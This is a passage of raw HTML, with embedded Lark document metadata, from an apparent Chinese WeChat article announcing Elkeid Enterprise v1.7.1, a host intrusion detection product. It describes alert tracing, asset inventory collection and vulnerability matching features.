doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:84,&#34;end&#34;:84,&#34;blockIds&#34;:[91],&#34;recordIds&#34;:[&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;],&#34;recordMap&#34;:{&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;:{&#34;id&#34;:&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[&#34;7086672553208479748&#34;,&#34;7086669161971351553&#34;],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:5,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;2&#34;:[&#34;comment-id-7086672553208479748&#34;,&#34;true&#34;],&#34;3&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;4&#34;:[&#34;comment-id-7086669161971351553&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+6*0+f*0*1+4*0+1m*0*2+4*0+1*3*1+5*3+2*0*4+2*0+n*3+1*0+8*3+4*0+5&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;值得一提的是，溯源模块目前可以支持告警前后2个小时的原始数据溯源，存储部分依赖Elkeid HUB策略引擎，不需要维护专门存储模块。Elkeid HUB 自研的持久化模块实现了200TB历史数据秒级查询溯源的能力，并且仅依赖原有计算节点资源，是低成本且可靠的告警溯源解决方案。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding-right: 24px;padding-left: 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid=""><strong><span style="font-size: 18px;">三. </span></strong><strong style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;">Elkeid 的风险防范能力</strong></p><p><br/></p></section></section></section></section></section><p><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">HIDS 并不仅仅是入侵检测，作为安全检测和应急处置的发起方，防患于未然</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">也是安全防护的重点工作。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Elkeid Team 基于长期高强度对抗形成的经验，整合资产盘点，漏洞扫描，基线检查等功能于一体，作为企业版HIDS 的风险防范能力，增强用户的事前防御。</span><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><ul start="1" class="list-paddingleft-1"><li><p><strong>资产盘点</strong></p></li></ul><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Elkeid 该版本支持以下资产数据采集：</span></p><ul start="1" class="list-paddingleft-1"><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p>Cron 定时任务采集</p></li><li><p>发行版软件包采集</p></li><li><p>PYPI 软件包采集</p></li><li><p>Java 软件包采集（支持fatjar）</p></li><li><p>Systemd 服务采集</p></li><li><p>开放端口采集</p></li><li><p>常驻进程采集</p></li><li><p>用户信息采集</p></li><li><p>系统完整性信息采集</p><p><br/></p></li></ul></ul><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=88140095&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkC28pKpG0w8iciaxrdicDfeCq8xYAMTOh9bTO2ZKUZibHuiaY7pCogVoM8ricg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>漏洞检测</strong></p></li></ul><p>目前版本 Elkeid 内置了漏洞库信息，支持基于资产采集信息进行漏洞匹配，实现漏洞管理功能。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:91,&#34;end&#34;:92,&#34;blockIds&#34;:[107,108],&#34;recordIds&#34;:[&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;],&#34;recordMap&#34;:{&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;:{&#34;id&#34;:&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;bold&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;漏洞检测&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false,&#34;seq&#34;:&#34;auto&#34;}},&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;:{&#34;id&#34;:&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;b3f35432-b9df-4680-b751-65f1c78a520c\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_52894648\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+c*1+3*2*1+3*1+3*0+q&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;目前版本 Elkeid 内置了漏洞库信息，支持基于资产采集信息进行漏洞匹配，实现漏洞管理功能。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn